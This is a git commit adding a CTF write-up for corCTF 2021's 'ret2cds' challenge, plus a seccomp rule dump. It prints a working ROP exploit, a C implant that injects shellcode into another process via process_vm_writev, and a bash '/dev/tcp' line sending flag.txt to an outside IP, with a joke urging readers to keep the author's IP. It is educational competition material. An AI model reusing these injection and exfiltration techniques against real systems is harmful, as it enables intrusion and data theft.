2021: corctf: ret2cds
This commit is contained in:
parent
01b330f7d1
commit
f80d51be40
|
|
@ -0,0 +1,2 @@
|
|||
implant.bin
|
||||
implant.elf
|
||||
|
|
@ -0,0 +1,519 @@
|
|||
# ret2cds
|
||||
|
||||
by [haskal](https://awoo.systems)
|
||||
|
||||
pwn / 497 pts / 6 solves
|
||||
|
||||
>Pwners keep joking about dropping socat and xinetd 0 days so I rewrote netcat in java. I dare you
|
||||
>to pop a shell on me now :^)
|
||||
>
|
||||
>https://ret2cds.be.ax/
|
||||
>
|
||||
>NOTE: Internet is enabled, please use the provided qemu image, and note that this has been tested to
|
||||
>work in a Debian environment for the Docker host. An Ubuntu host is known to have issues with the
|
||||
>official solution for the challenge. If you are on Debian, the docker deployment should work for you
|
||||
>if you don't want to use the qemu image (but not guaranteed).
|
||||
>
|
||||
>QEMU Image: ret2cds-qemu.qcow2.gz
|
||||
>
|
||||
>QEMU Example: qemu-system-x86_64 -enable-kvm -serial mon:stdio -hda ret2cds.qcow2 -nographic -smp 1
|
||||
>-m 1G -net user,hostfwd=tcp::1337-:1337 -net nic
|
||||
>
|
||||
>QEMU Username: root (no password)
|
||||
>
|
||||
>Docker: ret2cds.tar
|
||||
|
||||
provided files (i'm only providing the binaries here not the whole qemu image cause that is huge):
|
||||
[ret2cds/](ret2cds/)
|
||||
|
||||
## solution
|
||||
|
||||
pwn time
|
||||
|
||||
basic analysis of the binary shows that it is using seccomp (also, there is seccomp on the docker
|
||||
image used for the challenge, but the binary's seccomp rules are much more restrictive)
|
||||
|
||||
here's the main function in the dragn
|
||||
|
||||
|
||||
|
||||
yea
|
||||
|
||||
ok so first let's get the seccomp rules. for this i used
|
||||
<https://github.com/david942j/seccomp-tools> and just like, had it run the binary, (yes i probably
|
||||
shouldn't be running CTF binaries on my actual machine but shush)
|
||||
|
||||
this produces output [analysis/ret2cds-seccomp.txt](analysis/ret2cds-seccomp.txt). well... most
|
||||
things are banned
|
||||
|
||||
so what isn't banned? since the docker contains its own seccomp config, we cross-reference what is
|
||||
allowed there with what is banned here and find 2 interesting calls which are allowed by both sets
|
||||
of configurations
|
||||
|
||||
- `process_vm_readv`
|
||||
- `process_vm_writev`
|
||||
|
||||
these are syscalls that allow reading and writing another process's memory given we have ptrace
|
||||
permission (in docker everything is root, and also the docker config explicitly adds the ptrace
|
||||
capability, so yes)
|
||||
|
||||
## initial pwning
|
||||
|
||||
ok we'll get to this later. first we need to bonk the ret2cds process. it's pretty standard just
|
||||
write the address of write in order to leak the libc base, then jump back to main, then make a
|
||||
second rop chain to call mmap in libc
|
||||
|
||||
well this part got kind of weird, because pwntools ROP could not identify a good gadget to get
|
||||
control of r9 which was needed to be set to 0 since it's the offset parameter for mmap (r8 garbage
|
||||
is OK, it gets ignored for anonymous maps by the kernel). so i turn to my trusty uber-ROP gadget
|
||||
which is `setcontext` (it's a libc call for restoring all registers from a struct on the stack, goes
|
||||
with `getcontext`). by manual analysis there is a good place to jump into `setcontext` in order to
|
||||
get control of r9
|
||||
|
||||
```asm
|
||||
// ( in setcontext )
|
||||
001581e1 4c 8b 4a 30 MOV R9,qword ptr [RDX + 0x30]
|
||||
001581e5 48 8b 92 MOV RDX,qword ptr [RDX + 0x88]
|
||||
88 00 00 00
|
||||
001581ec 31 c0 XOR EAX,EAX
|
||||
001581ee c3 RET
|
||||
```
|
||||
|
||||
for this we just need `RDX` to be loaded as a pointer to the memory we want to load from, which is
|
||||
easy cause we have gadgets for `RDX`. we pass in a pointer to some random part of `rodata` such that
|
||||
the address `r9` gets loaded from ends up being `0`
|
||||
|
||||
here's the code so far
|
||||
|
||||
```python
|
||||
elf = ELF("./ret2cds")
|
||||
rop = ROP(elf)
|
||||
rop.write(1, elf.got['write'])
|
||||
|
||||
libc = ELF("./libc.so.6")
|
||||
|
||||
r = remote("ret2cds.be.ax", 38255)
|
||||
r.recvuntil("warden: ")
|
||||
|
||||
# step 1: get write to print the address of write, then go back to main (0x0040123a)
|
||||
r.sendline(b"A"*256 + b"AAAAAAAA" + rop.chain() + p64(0x0040123a))
|
||||
print(r.recvline())
|
||||
print(r.recvline())
|
||||
leak = r.recvline()[1:8]
|
||||
leak = u64(leak.ljust(8, b'\x00'))
|
||||
print(hex(leak))
|
||||
|
||||
libc_base = leak - libc.symbols['write']
|
||||
print(hex(libc_base))
|
||||
|
||||
libc.address = libc_base
|
||||
|
||||
# now, make part of the ROP for mmap with pwntools
|
||||
libc_rop = ROP(libc)
|
||||
# memorize these args lol, that's
|
||||
# - addr
|
||||
# - size
|
||||
# - 7: PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
# - 0x32: MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE
|
||||
# - -1: no fd
|
||||
# - 0: no offset
|
||||
libc_rop.mmap(0x133713370000, 0x10000, 7, 0x32) #, -1, 0)
|
||||
# read moar shellcode into it
|
||||
libc_rop.read(0, 0x133713370000, 0x10000)
|
||||
|
||||
# handle those pesky remaining args (well, just the last one)
|
||||
# see the assembly for this gadget above
|
||||
fucky_r9_gadget = p64(0x581e1 + libc_base)
|
||||
# load rdx with a pointer to rodata (convenient source of 0x0s) offset so that r9 gets
|
||||
pre_rop = ROP(libc)
|
||||
pre_rop.rdx = 0x402008 - 0x30
|
||||
|
||||
# send step 2 exploit, then jump to the shellcode we just mapped
|
||||
r.sendline(b"A"*256 + b"AAAAAAAA" + pre_rop.chain() + fucky_r9_gadget + libc_rop.chain() + p64(0x133713370000))
|
||||
```
|
||||
|
||||
now we have shellcode. but there's still seccomp.....
|
||||
|
||||
we can produce the final shellcode tho. it just won't work yet because execve is not allowed
|
||||
(neither is like, anything bash would be running here)
|
||||
|
||||
```python
|
||||
stage3 = asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/44.44.127.10/1337"], {}))
|
||||
```
|
||||
|
||||
please note: if you are doing CTFs in the future referencing this writeup, make sure to keep the IP
|
||||
address `44.44.127.10` so that i get yr flags >:3
|
||||
|
||||
ok so the path should be clear: use `process_vm_writev` in order to write _more shellcode_ into
|
||||
_another process_
|
||||
|
||||
the only other process is the java netcat replacement
|
||||
|
||||
yikes,
|
||||
|
||||
the java code itself is not that interesting, and not exploitable as far as i can tell. if you're
|
||||
interested, you can take a look in [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) or
|
||||
[JDA](https://github.com/LLVM-but-worse/java-disassembler)[^1]
|
||||
|
||||
from looking at that quickly on the qemu environment, we find something interesting in
|
||||
`/proc/<pid>/maps` for the java process
|
||||
|
||||
```
|
||||
800000000-800002000 rwxp 00001000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
|
||||
800002000-8003b9000 rw-p 00003000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
|
||||
8003b9000-800a95000 r--p 003ba000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
|
||||
800a95000-800a96000 rw-p 00a96000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
|
||||
800a96000-8010a3000 r--p 00a97000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
|
||||
```
|
||||
|
||||
`classes.jsa` has an `rwx` mapping at what looks like a fixed address... that's a great target for
|
||||
shellcode[^2]
|
||||
|
||||
i'm not super interested in shellcoding a call to `process_vm_writev` ... would be convenient to
|
||||
write it in C, but i also don't have or want to have (legitimate or illegitimate) a binja license
|
||||
for their shellcode compiler...
|
||||
|
||||
## how 2 make a C implant 2021 tutorial working (no robux)
|
||||
|
||||
set it to 136 bpm
|
||||
|
||||
make a linker script. it's gonna start at the address where your `mmap` shellcode page is
|
||||
|
||||
```ld
|
||||
ENTRY(_start)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAM (rwx) : ORIGIN = 0x133713370000, LENGTH = 0x10000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text :
|
||||
{
|
||||
*(.text.start)
|
||||
*(.text*)
|
||||
}
|
||||
|
||||
.rodata :
|
||||
{
|
||||
*(.rodata*)
|
||||
}
|
||||
|
||||
.data :
|
||||
{
|
||||
*(.data*)
|
||||
}
|
||||
|
||||
.bss :
|
||||
{
|
||||
_bss = .;
|
||||
*(.bss*)
|
||||
*(COMMON)
|
||||
_ebss = .;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
now make a makefile (for convenience). we want to call gcc with the magic spell `-nostdlib
|
||||
-nodefaultlibs -nostdinc -fpic -fno-stack-protector -Os -T stage2.ld`
|
||||
|
||||
basically that's
|
||||
- don't use any stdlib or standard headers
|
||||
- make position independent code, skip the stack protector
|
||||
- optimize for size
|
||||
- use the given linker script
|
||||
|
||||
then objcopy that into a flat binary
|
||||
|
||||
```make
|
||||
.PHONY: all clean copy
|
||||
|
||||
CC=gcc
|
||||
OBJCOPY=objcopy
|
||||
|
||||
all: implant.bin
|
||||
|
||||
clean:
|
||||
$(RM) *.bin *.elf
|
||||
|
||||
implant.bin: implant.elf
|
||||
$(OBJCOPY) -O binary $< $@
|
||||
|
||||
implant.elf: stage2.c stage2.ld
|
||||
$(CC) -nostdlib -nodefaultlibs -nostdinc -T stage2.ld -fpic -fno-stack-protector \
|
||||
-Os -std=gnu11 -Wall -Wextra -o $@ $<
|
||||
```
|
||||
|
||||
add some reverb, and stack the layers
|
||||
|
||||
here's some boilerplate C. fun fact, your entrypoint just needs to be at the beginning and it needs
|
||||
to wipe `.bss` then jump to main. but we also need to redefine literally everything because we opted
|
||||
to not have any standard headers (this is technically unnecessary, you can use the headers if you
|
||||
want)
|
||||
|
||||
```c
|
||||
typedef unsigned char uint8_t;
|
||||
_Static_assert(sizeof(uint8_t) == 1, "uint8_t wrong size");
|
||||
typedef unsigned short uint16_t;
|
||||
_Static_assert(sizeof(uint16_t) == 2, "uint16_t wrong size");
|
||||
typedef unsigned int uint32_t;
|
||||
_Static_assert(sizeof(uint32_t) == 4, "uint32_t wrong size");
|
||||
typedef unsigned long long uint64_t;
|
||||
_Static_assert(sizeof(uint64_t) == 8, "uint64_t wrong size");
|
||||
typedef unsigned int size_t;
|
||||
typedef int ssize_t;
|
||||
|
||||
#define NULL ((void*)0x0)
|
||||
#define pid_t unsigned long
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define SYS_exit 1
|
||||
#define SYS_read 0
|
||||
#define SYS_write 1
|
||||
#define SYS_process_vm_readv 310
|
||||
#define SYS_process_vm_writev 311
|
||||
|
||||
int main();
|
||||
void __attribute__((noreturn)) exit(int);
|
||||
|
||||
void* memset(void* dst, int val, size_t size) {
|
||||
for (size_t i = 0; i < size; i++) {
|
||||
((uint8_t*)dst)[i] = val;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* memcpy(void* dst, const void* src, size_t size) {
|
||||
for (size_t i = 0; i < size; i++) {
|
||||
((uint8_t*)dst)[i] = ((uint8_t*)src)[i];
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
extern uint8_t _bss;
|
||||
extern uint8_t _ebss;
|
||||
void __attribute__((noreturn)) __attribute__((section(".text.start"))) _start() {
|
||||
// wipe .bss
|
||||
memset(&_bss, 0, (&_ebss) - (&_bss));
|
||||
// go to main!
|
||||
exit(main());
|
||||
}
|
||||
|
||||
int main() {
|
||||
// your code here!!!
|
||||
while(true){}
|
||||
return 120;
|
||||
}
|
||||
```
|
||||
|
||||
ok now that's done, write some syscall wrappers (i'm being very extra with this)
|
||||
|
||||
```c
|
||||
ssize_t read(int _fd, void* _buf, size_t _len) {
|
||||
register int fd asm("rdi") = _fd;
|
||||
register void* buf asm("rsi") = _buf;
|
||||
register size_t len asm("rdx") = _len;
|
||||
register int syscall asm("rax") = SYS_read;
|
||||
register ssize_t ret asm("rax");
|
||||
asm volatile("syscall" : "=r"(ret) : "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
|
||||
return ret;
|
||||
}
|
||||
|
||||
void write(int _fd, const void* _buf, size_t _len) {
|
||||
register int fd asm("rdi") = _fd;
|
||||
register const void* buf asm("rsi") = _buf;
|
||||
register size_t len asm("rdx") = _len;
|
||||
register int syscall asm("rax") = SYS_write;
|
||||
asm volatile("syscall" :: "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
|
||||
}
|
||||
|
||||
void __attribute__((noreturn)) exit(int _code) {
|
||||
register int code asm("rdi") = _code;
|
||||
register int syscall asm("rax") = SYS_exit;
|
||||
asm volatile("syscall" :: "r"(code), "r"(syscall) : "memory");
|
||||
__builtin_unreachable();
|
||||
}
|
||||
|
||||
ssize_t process_vm_readv(pid_t _pid,
|
||||
const struct iovec *_local_iov,
|
||||
unsigned long _liovcnt,
|
||||
const struct iovec *_remote_iov,
|
||||
unsigned long _riovcnt,
|
||||
unsigned long _flags) {
|
||||
register pid_t pid asm("rdi") = _pid;
|
||||
register struct iovec* local_iov asm("rsi") = _local_iov;
|
||||
register unsigned long liovcnt asm("rdx") = _liovcnt;
|
||||
register struct iovec* remote_iov asm("r10") = _remote_iov;
|
||||
register unsigned long riovcnt asm("r8") = _riovcnt;
|
||||
register unsigned long flags asm("r9") = _flags;
|
||||
register int syscall asm("rax") = SYS_process_vm_readv;
|
||||
register ssize_t ret asm("rax");
|
||||
asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt), "r"(remote_iov),
|
||||
"r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t process_vm_writev(pid_t _pid,
|
||||
const struct iovec *_local_iov,
|
||||
unsigned long _liovcnt,
|
||||
const struct iovec *_remote_iov,
|
||||
unsigned long _riovcnt,
|
||||
unsigned long _flags) {
|
||||
register pid_t pid asm("rdi") = _pid;
|
||||
register struct iovec* local_iov asm("rsi") = _local_iov;
|
||||
register unsigned long liovcnt asm("rdx") = _liovcnt;
|
||||
register struct iovec* remote_iov asm("r10") = _remote_iov;
|
||||
register unsigned long riovcnt asm("r8") = _riovcnt;
|
||||
register unsigned long flags asm("r9") = _flags;
|
||||
register int syscall asm("rax") = SYS_process_vm_writev;
|
||||
register ssize_t ret asm("rax");
|
||||
asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt), "r"(remote_iov),
|
||||
"r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
|
||||
ok _now_ we're ready to send the shellcode using `process_vm_writev`
|
||||
|
||||
## how 2 iovec 2021 tutorial working (no robux)
|
||||
|
||||
so if you've never seen iovecs (first of all you should try kernel pwn, you'll definitely see
|
||||
iovecs,) basically it's a way to read and/or write multiple addresses in sequence with one syscall.
|
||||
you pass in an array of these structs
|
||||
|
||||
```c
|
||||
struct iovec {
|
||||
void *iov_base; /* Starting address */
|
||||
size_t iov_len; /* Number of bytes to transfer */
|
||||
};
|
||||
```
|
||||
|
||||
that's how `process_vm_readv` and `process_vm_writev` are working
|
||||
|
||||
now there's one more small detail, which is that we don't know what PID java has. luckily it's low
|
||||
(usually <10) so we can just spray the shellcode at every process and eventually java will be hit
|
||||
|
||||
```c
|
||||
// this is: asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/35.237.4.96/1337"], {}))
|
||||
char* buf = "shellcode here";
|
||||
char buf2[0x2000];
|
||||
|
||||
// write to the previously determined rwx pages in the java process
|
||||
struct iovec remote_vec = { (void*)0x800000000, 0x2000 };
|
||||
// read from a local shellcode buf
|
||||
struct iovec local_vec = { &buf2[0], 0x2000 };
|
||||
|
||||
int main() {
|
||||
print("implant is booted\n");
|
||||
|
||||
// fill nop sled (0x90 is NOP)
|
||||
memset(buf2, 0x90, 0x2000);
|
||||
// add the shellcode at the end
|
||||
memcpy(&buf2[0x2000 - 186], buf, 186);
|
||||
|
||||
for (int i = 2; i < 100; i++) {
|
||||
print("sending to pid:");
|
||||
print_int(i);
|
||||
print("\n");
|
||||
ssize_t ret = process_vm_writev(i, &local_vec, 1, &remote_vec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
print("bad ret!: ");
|
||||
print_int(-ret);
|
||||
print("\n");
|
||||
} else {
|
||||
print("GOOD RET\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
print("injection complete\n");
|
||||
while(true){}
|
||||
return 120;
|
||||
}
|
||||
```
|
||||
|
||||
finally you'll probably need to connect to the endpoint again, in order to trigger the java process
|
||||
to enter the rwx page and execute your shellcode
|
||||
|
||||
the results:
|
||||
```
|
||||
❯ python3 exploit.py
|
||||
[*] '.../ret2cds'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Full RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x3ff000)
|
||||
RUNPATH: b'./'
|
||||
[*] Loaded 14 cached gadgets for '../challenge/chall/ret2cds'
|
||||
0x0000: 0x40131b pop rdi; ret
|
||||
0x0008: 0x1 [arg0] rdi = 1
|
||||
0x0010: 0x401319 pop rsi; pop r15; ret
|
||||
0x0018: 0x403fc0 [arg1] rsi = got.write
|
||||
0x0020: b'iaaajaaa' <pad r15>
|
||||
0x0028: 0x401030 write
|
||||
[*] '.../libc.so.6'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
0x111040
|
||||
[+] Opening connection to ret2cds.be.ax on port 34485: Done
|
||||
b'\x00\n'
|
||||
b"lol, you ain't escaping...\n"
|
||||
0x7f5b8856e040
|
||||
0x7f5b8845d000
|
||||
[*] Loaded 200 cached gadgets for '../challenge/chall/libc.so.6'
|
||||
0x0000: 0x7f5b8856256d pop rdx; pop rcx; pop rbx; ret
|
||||
0x0008: 0x7 [arg2] rdx = 7
|
||||
0x0010: 0x32 [arg3] rcx = 50
|
||||
0x0018: b'gaaahaaa' <pad rbx>
|
||||
0x0020: 0x7f5b88484529 pop rsi; ret
|
||||
0x0028: 0x10000 [arg1] rsi = 65536
|
||||
0x0030: 0x7f5b88483b72 pop rdi; ret
|
||||
0x0038: 0x133713370000 [arg0] rdi = 21127266500608
|
||||
0x0040: 0x7f5b88578890 mmap
|
||||
0x0048: 0x7f5b885791e1 pop rdx; pop r12; ret
|
||||
0x0050: 0x10000 [arg2] rdx = 65536
|
||||
0x0058: b'waaaxaaa' <pad r12>
|
||||
0x0060: 0x7f5b88484529 pop rsi; ret
|
||||
0x0068: 0x133713370000 [arg1] rsi = 21127266500608
|
||||
0x0070: 0x7f5b88483b72 pop rdi; ret
|
||||
0x0078: 0x0 [arg0] rdi = 0
|
||||
0x0080: 0x7f5b8856dfa0 read
|
||||
b'm%V\x88[\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00gaaahaaa)EH\x88[\x7f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00r;H\x88[\x7f\x00\x00\x00\x007\x137\x13\x00\x00\x90\x88W\x88[\x7f\x00\x00\xe1\x91W\x88[\x7f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00waaaxaaa)
|
||||
EH\x88[\x7f\x00\x00\x00\x007\x137\x13\x00\x00r;H\x88[\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xdfV\x88[\x7f\x00\x00'
|
||||
make: Nothing to be done for 'all'.
|
||||
[*] Switching to interactive mode
|
||||
🚨 Due to the recent security breaches, we have no choice but to lock you up in jail! 🚨
|
||||
And just to avoid all those socat/xinetd 0-days you and your pwn friends brag about...
|
||||
I rewrote netcat in Java ☕.
|
||||
Nothing can go wrong with a language used on over 13 billion devices ™.
|
||||
|
||||
\x00nter your appeal to the warden: \x00
|
||||
lol, you ain't escaping...
|
||||
\x00[*] Got EOF while reading in interactive
|
||||
$
|
||||
[*] Closed connection to ret2cds.be.ax port 34485
|
||||
[*] Got EOF while sending in interactive
|
||||
```
|
||||
|
||||
meanwhile on yr listening server
|
||||
```
|
||||
$ while true; do nc -vlp 1337; done
|
||||
Ncat: Version 7.70 ( https://nmap.org/ncat )
|
||||
Ncat: Listening on :::1337
|
||||
Ncat: Listening on 0.0.0.0:1337
|
||||
Ncat: Connection from 161.35.128.177.
|
||||
Ncat: Connection from 161.35.128.177:43098.
|
||||
corctf{r0p_t0_5h3llc0d3_t0_pWn1n1g_j@v@_rwX_cDs_af179e546321dfac13370}
|
||||
```
|
||||
|
||||
(idk what the 'cds' part of the challege name is supposed to mean. return to 💿?)
|
||||
|
||||
[^1]: JDA is just a cleaned up and slightly prettified fork of Bytecode Viewer, but it's also behind
|
||||
Bytecode Viewer in terms of a few features (mainly Android)
|
||||
|
||||
[^2]: in recent versions of openjdk, this is no longer the case (i think). sad :(
|
||||
luckily this challenge is using an older version
|
||||
|
|
@ -0,0 +1,651 @@
|
|||
line CODE JT JF K
|
||||
=================================
|
||||
0000: 0x20 0x00 0x00 0x00000004 A = arch
|
||||
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
|
||||
0002: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
|
||||
0004: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0006
|
||||
0005: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
|
||||
0007: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0008: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0010
|
||||
0009: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0010: 0x15 0x00 0x01 0x00000004 if (A != stat) goto 0012
|
||||
0011: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0012: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0014
|
||||
0013: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0014: 0x15 0x00 0x01 0x00000006 if (A != lstat) goto 0016
|
||||
0015: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0016: 0x15 0x00 0x01 0x00000007 if (A != poll) goto 0018
|
||||
0017: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0018: 0x15 0x00 0x01 0x00000008 if (A != lseek) goto 0020
|
||||
0019: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0020: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0022
|
||||
0021: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0022: 0x15 0x00 0x01 0x0000000d if (A != rt_sigaction) goto 0024
|
||||
0023: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0024: 0x15 0x00 0x01 0x0000000e if (A != rt_sigprocmask) goto 0026
|
||||
0025: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0026: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0028
|
||||
0027: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0028: 0x15 0x00 0x01 0x00000010 if (A != ioctl) goto 0030
|
||||
0029: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0030: 0x15 0x00 0x01 0x00000011 if (A != pread64) goto 0032
|
||||
0031: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0032: 0x15 0x00 0x01 0x00000012 if (A != pwrite64) goto 0034
|
||||
0033: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0034: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0036
|
||||
0035: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0036: 0x15 0x00 0x01 0x00000014 if (A != writev) goto 0038
|
||||
0037: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0038: 0x15 0x00 0x01 0x00000015 if (A != access) goto 0040
|
||||
0039: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0040: 0x15 0x00 0x01 0x00000016 if (A != pipe) goto 0042
|
||||
0041: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0042: 0x15 0x00 0x01 0x00000017 if (A != select) goto 0044
|
||||
0043: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0044: 0x15 0x00 0x01 0x00000018 if (A != sched_yield) goto 0046
|
||||
0045: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0046: 0x15 0x00 0x01 0x00000019 if (A != mremap) goto 0048
|
||||
0047: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0048: 0x15 0x00 0x01 0x0000001a if (A != msync) goto 0050
|
||||
0049: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0050: 0x15 0x00 0x01 0x0000001b if (A != mincore) goto 0052
|
||||
0051: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0052: 0x15 0x00 0x01 0x0000001c if (A != madvise) goto 0054
|
||||
0053: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0054: 0x15 0x00 0x01 0x0000001d if (A != shmget) goto 0056
|
||||
0055: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0056: 0x15 0x00 0x01 0x0000001e if (A != shmat) goto 0058
|
||||
0057: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0058: 0x15 0x00 0x01 0x0000001f if (A != shmctl) goto 0060
|
||||
0059: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0060: 0x15 0x00 0x01 0x00000020 if (A != dup) goto 0062
|
||||
0061: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0062: 0x15 0x00 0x01 0x00000021 if (A != dup2) goto 0064
|
||||
0063: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0064: 0x15 0x00 0x01 0x00000022 if (A != pause) goto 0066
|
||||
0065: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0066: 0x15 0x00 0x01 0x00000023 if (A != nanosleep) goto 0068
|
||||
0067: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0068: 0x15 0x00 0x01 0x00000024 if (A != getitimer) goto 0070
|
||||
0069: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0070: 0x15 0x00 0x01 0x00000025 if (A != alarm) goto 0072
|
||||
0071: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0072: 0x15 0x00 0x01 0x00000026 if (A != setitimer) goto 0074
|
||||
0073: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0074: 0x15 0x00 0x01 0x00000027 if (A != getpid) goto 0076
|
||||
0075: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0076: 0x15 0x00 0x01 0x00000028 if (A != sendfile) goto 0078
|
||||
0077: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0078: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0080
|
||||
0079: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0080: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0082
|
||||
0081: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0082: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0084
|
||||
0083: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0084: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0086
|
||||
0085: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0086: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0088
|
||||
0087: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0088: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0090
|
||||
0089: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0090: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0092
|
||||
0091: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0092: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0094
|
||||
0093: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0094: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0096
|
||||
0095: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0096: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0098
|
||||
0097: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0098: 0x15 0x00 0x01 0x00000033 if (A != getsockname) goto 0100
|
||||
0099: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0100: 0x15 0x00 0x01 0x00000034 if (A != getpeername) goto 0102
|
||||
0101: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0102: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0104
|
||||
0103: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0104: 0x15 0x00 0x01 0x00000036 if (A != setsockopt) goto 0106
|
||||
0105: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0106: 0x15 0x00 0x01 0x00000037 if (A != getsockopt) goto 0108
|
||||
0107: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0108: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0110
|
||||
0109: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0110: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0112
|
||||
0111: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0112: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0114
|
||||
0113: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0114: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0116
|
||||
0115: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
0116: 0x15 0x00 0x01 0x0000003d if (A != wait4) goto 0118
|
||||
0117: 0x06 0x00 0x00 0x00000000 return KILL
|
||||
